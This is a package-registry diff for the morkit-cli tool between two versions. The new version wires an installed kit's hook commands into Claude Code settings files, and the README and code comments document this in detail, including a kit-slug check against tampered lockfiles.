@mhd1999/morkit-cli 0.1.0 → 0.2.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md CHANGED
@@ -49,15 +49,59 @@ the server and override the saved configuration. The default server is
49
49
  ```
50
50
  my-project/
51
51
  .claude/
52
- skills/… ← kit skills/, loaded by Claude Code
53
- commands/… ← kit commands/
54
- agents/… ← kit agents/
55
- plugins/morkit/… ← everything else (manifest, hooks, lib, scripts)
56
- .morkit-lock.json what was installed — commit this
52
+ skills/… ← kit skills/, loaded by Claude Code
53
+ commands/… ← kit commands/
54
+ agents/… ← kit agents/
55
+ plugins/morkit/… ← everything else (manifest, hooks, lib, scripts)
56
+ settings.json the kit's hooks, wired in — commit this
57
+ settings.local.json ← plugin-root env for this machine — NOT committed
58
+ .gitignore ← keeps settings.local.json out of git
59
+ .morkit-lock.json ← what was installed — commit this
57
60
  ```
58
61
 
59
62
  `.morkit-lock.json` records the API URL, kit slug, version, install timestamp, a
60
- `sha256` per artifact and one combined hash for the rest. **It never contains a token.**
63
+ `sha256` per artifact, one combined hash for the rest, and the hook commands written
64
+ into `settings.json`. **It never contains a token.**
65
+
66
+ ### Why two settings files
67
+
68
+ A kit installed by this CLI is not a Claude Code plugin, so nothing tells Claude Code
69
+ that `.claude/plugins/<kit>/` exists. Measured 2026-09-04: the kit's `hooks/hooks.json`
70
+ sitting in that directory fired **0 of 3** hooks; the same directory passed via
71
+ `--plugin-dir` fired **3 of 3**. A directory marketplace plus `enabledPlugins` fired
72
+ nothing either. So the hooks have to be merged into a settings file, and they are:
73
+
74
+ - **`settings.json`** gets the hook entries, with the kit's
75
+ `${MORKIT_PLUGIN_ROOT:-${CLAUDE_PLUGIN_ROOT}}` placeholder rewritten to
76
+ `${CLAUDE_PROJECT_DIR}/.claude/plugins/<kit>`. Hook *commands* do expand that
77
+ variable, so the file stays machine-independent and is safe to commit — which is the
78
+ point, since the team should share one set of hooks. Entries your project or another
79
+ tool already had are left untouched; the lockfile remembers which ones are ours, so
80
+ `morkit update` replaces only those.
81
+
82
+ - **`settings.local.json`** gets `env.MORKIT_PLUGIN_ROOT` — the **absolute** path to the
83
+ installed kit, and **only** that name. Measured: values in `env` do reach the Bash tool,
84
+ so the kit's commands, skills and scripts resolve from it.
85
+
86
+ `CLAUDE_PLUGIN_ROOT` is deliberately **not** set. Claude Code does override that
87
+ variable per plugin component, but only for plugin *hooks*; a plugin's skill or command
88
+ is instruction text telling the agent to run `bash "${CLAUDE_PLUGIN_ROOT}/…"`, and that
89
+ Bash call sees this session `env`. On one real machine, 61 files across other installed
90
+ plugins (superpowers, ecc, claude-security, code-modernization, hookify) read it — so
91
+ setting it here would silently point all of them at morkit's kit directory. The kit's
92
+ own bare `${CLAUDE_PLUGIN_ROOT}` references are fixed at the other end, in
93
+ mor-duongmh/morkit-plugin#68, using the `${MORKIT_PLUGIN_ROOT:-${CLAUDE_PLUGIN_ROOT}}`
94
+ cascade the kit already mandates.
95
+
96
+ `env` values do *not* expand variables, so an absolute path is unavoidable — and an
97
+ absolute path must not reach a teammate's clone, which is why this lives in the local
98
+ file and why the CLI writes `.claude/.gitignore`.
99
+
100
+ A hook is wired only when its command points inside the installed kit. The kit ships one
101
+ `Stop` hook reading `.claude/helpers/hook-handler.cjs` — the model-routing subsystem,
102
+ which by design applies only inside the morkit repo itself and is not part of the kit.
103
+ That entry is correct for the clone-based Codex install, which does have a repo root; it
104
+ is skipped here, where there is none, and the reason is printed rather than swallowed.
61
105
 
62
106
  ## Updating, and what happens to your edits
63
107
 
@@ -3,8 +3,11 @@ import { fetchKitArchive, fetchKitMeta } from "../lib/api.js";
3
3
  import { resolveAuth } from "../lib/config.js";
4
4
  import { applyPlan, computePlan, ensureClaudeLayout } from "../lib/install.js";
5
5
  import { isoUtc, lockMatches, readLock, sha256, writeLock } from "../lib/lock.js";
6
- import { isArtifactPath } from "../lib/paths.js";
6
+ import { assertKitSlug, isArtifactPath } from "../lib/paths.js";
7
+ import { EMPTY_WIRING, planHookWiring, wireHooks } from "../lib/settings.js";
7
8
  import { extractTarGz } from "../lib/tar.js";
9
+ /** Kit-relative path of the hooks manifest morkit wires into settings. */
10
+ export const KIT_HOOKS_MANIFEST = "hooks/hooks.json";
8
11
  export const DEFAULT_KIT = "morkit";
9
12
  /**
10
13
  * Shared body of `init` and `update`.
@@ -16,7 +19,11 @@ export const DEFAULT_KIT = "morkit";
16
19
  export async function installKit(opts) {
17
20
  const dir = path.resolve(opts.dir);
18
21
  const existing = readLock(dir);
19
- const kit = opts.kit ?? existing?.kit ?? DEFAULT_KIT;
22
+ // Validated before it is used as a path segment or interpolated into a hook
23
+ // command. Both sources need it: `--kit` from the CLI, and `existing.kit`
24
+ // from `.morkit-lock.json` — a committed file, so a poisoned lockfile in a
25
+ // merged PR is a real path in. See assertKitSlug.
26
+ const kit = assertKitSlug(opts.kit ?? existing?.kit ?? DEFAULT_KIT);
20
27
  const auth = resolveAuth({
21
28
  apiUrl: opts.apiUrl,
22
29
  pat: opts.pat,
@@ -60,17 +67,50 @@ export async function installKit(opts) {
60
67
  // there is no prior record, so every artifact has an entry.
61
68
  artifacts[entry.rel] = lock?.artifacts[entry.rel] ?? entry.remoteHash;
62
69
  }
70
+ // Claude Code does not load a CLI-installed kit's hooks.json (measured — see
71
+ // lib/settings.ts), so the hook commands must be merged into a settings file.
72
+ // Planned here, before any write, because `upToDate` depends on the result.
73
+ const hooksManifest = files.get(KIT_HOOKS_MANIFEST);
74
+ const wiring = hooksManifest ? planHookWiring(hooksManifest, kit) : EMPTY_WIRING;
63
75
  const next = {
64
76
  apiUrl: auth.apiUrl,
65
77
  kit,
66
78
  version: meta.version,
67
79
  artifacts,
68
80
  shell: meta.shell,
81
+ settingsHooks: wiring.commands,
69
82
  };
70
83
  const upToDate = plan.write.length === 0 && lockMatches(existing, next);
71
84
  if (!upToDate) {
72
85
  ensureClaudeLayout(dir);
73
86
  applyPlan(plan, files, executable);
87
+ }
88
+ // Always wire, even on an up-to-date install: it writes only when the JSON
89
+ // differs, so the cost is nil, and it repairs a project whose settings file
90
+ // was edited or wiped since the last run.
91
+ //
92
+ // `existing`, NOT `lock`. `lock` is deliberately nulled when the kit changed
93
+ // (line above) because artifact hashes are per-kit — but `settingsHooks` means
94
+ // "hook entries morkit wrote", regardless of which kit wrote them. Reading it
95
+ // from `lock` orphaned the old kit's hooks on every `--kit` switch: they were
96
+ // treated as foreign and kept, while the new lockfile recorded only the new
97
+ // kit's, so no later install could ever recognise or remove them.
98
+ const wired = wireHooks({ dir, kit, wiring, ownedBefore: existing?.settingsHooks ?? [] });
99
+ // Settings first, lockfile second, and NOT atomically — accepted, with a
100
+ // reason rather than by omission.
101
+ //
102
+ // A crash between the two leaves hooks written that the lockfile does not
103
+ // record. That state is recoverable and, since `findHandEdited`, it is also
104
+ // self-announcing: the next install sees entries pointing into this kit with
105
+ // no record claiming them and prints them as conflicts. So the failure mode is
106
+ // "user is told, nothing is lost", not silent breakage.
107
+ //
108
+ // Two-phase commit across three small JSON files would cost more complexity
109
+ // than the window is worth. The order matters though and is deliberate: the
110
+ // lockfile records what was ACTUALLY written, so writing it first would let it
111
+ // claim hooks that never landed — an inconsistency in the direction that
112
+ // cannot be detected.
113
+ if (!upToDate || wired.changed.length > 0) {
74
114
  writeLock(dir, { ...next, installedAt: isoUtc() });
75
115
  }
76
116
  if (mismatched.length > 0) {
@@ -83,17 +123,55 @@ export async function installKit(opts) {
83
123
  written: plan.write.map((e) => e.rel),
84
124
  kept: plan.keep.map((e) => e.rel),
85
125
  unchanged: plan.unchanged.length,
86
- upToDate,
126
+ upToDate: upToDate && wired.changed.length === 0,
127
+ wired: wired.changed,
128
+ skippedHooks: wired.skipped,
129
+ hookConflicts: wired.conflicts,
87
130
  };
88
131
  }
132
+ /**
133
+ * Outstanding problems — printed on EVERY run, including an up-to-date one.
134
+ *
135
+ * `upToDate` answers "did anything get written", not "is everything fine". A
136
+ * hand-edited hook conflict and a permanently skipped hook both persist across
137
+ * runs while writing nothing, so gating these behind `!upToDate` meant they were
138
+ * announced exactly once and then went quiet forever — silencing the very
139
+ * mechanism added to stop them being silent.
140
+ */
141
+ function reportOutstanding(res) {
142
+ if (res.skippedHooks.length > 0) {
143
+ // Said out loud rather than swallowed: a hook the kit ships but this CLI
144
+ // will not wire is a real gap in what the user gets, and the reason is the
145
+ // only thing that makes it fixable.
146
+ process.stderr.write(`\n! ${res.skippedHooks.length} hook(s) in the kit were not wired:\n`);
147
+ for (const s of res.skippedHooks) {
148
+ process.stderr.write(` ${s.event}: ${s.reason}\n ${s.command}\n`);
149
+ }
150
+ }
151
+ if (res.hookConflicts.length > 0) {
152
+ // Not swallowed: the same event now has two entries running for it, and only
153
+ // a person can say which one to drop.
154
+ process.stderr.write(`\n! ${res.hookConflicts.length} hook(s) in .claude/settings.json point into this ` +
155
+ "kit but are not in the lockfile — probably edited by hand.\n" +
156
+ " They were KEPT, and morkit's own entry was added alongside, so the event\n" +
157
+ " now runs both. Remove whichever one you do not want:\n");
158
+ for (const c of res.hookConflicts) {
159
+ process.stderr.write(` ${c.event}: ${c.command}\n`);
160
+ }
161
+ }
162
+ }
89
163
  /** Human-readable summary shared by `init`, `new` and `update`. */
90
164
  export function reportInstall(res, dir, force) {
91
165
  if (res.upToDate) {
92
166
  process.stdout.write(`✓ ${dir} is already up to date (${res.kit} ${res.version}).\n`);
167
+ reportOutstanding(res);
93
168
  return;
94
169
  }
95
170
  for (const rel of res.written)
96
171
  process.stdout.write(` + ${rel}\n`);
172
+ for (const rel of res.wired)
173
+ process.stdout.write(` ~ ${rel} (hooks wired)\n`);
174
+ reportOutstanding(res);
97
175
  if (res.kept.length > 0) {
98
176
  process.stderr.write(`\n! Kept ${res.kept.length} locally modified file(s) — not overwritten:\n`);
99
177
  for (const rel of res.kept)
@@ -1 +1 @@
1
- {"version":3,"file":"install.js","sourceRoot":"","sources":["../../src/commands/install.ts"],"names":[],"mappings":"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"}
1
+ {"version":3,"file":"install.js","sourceRoot":"","sources":["../../src/commands/install.ts"],"names":[],"mappings":"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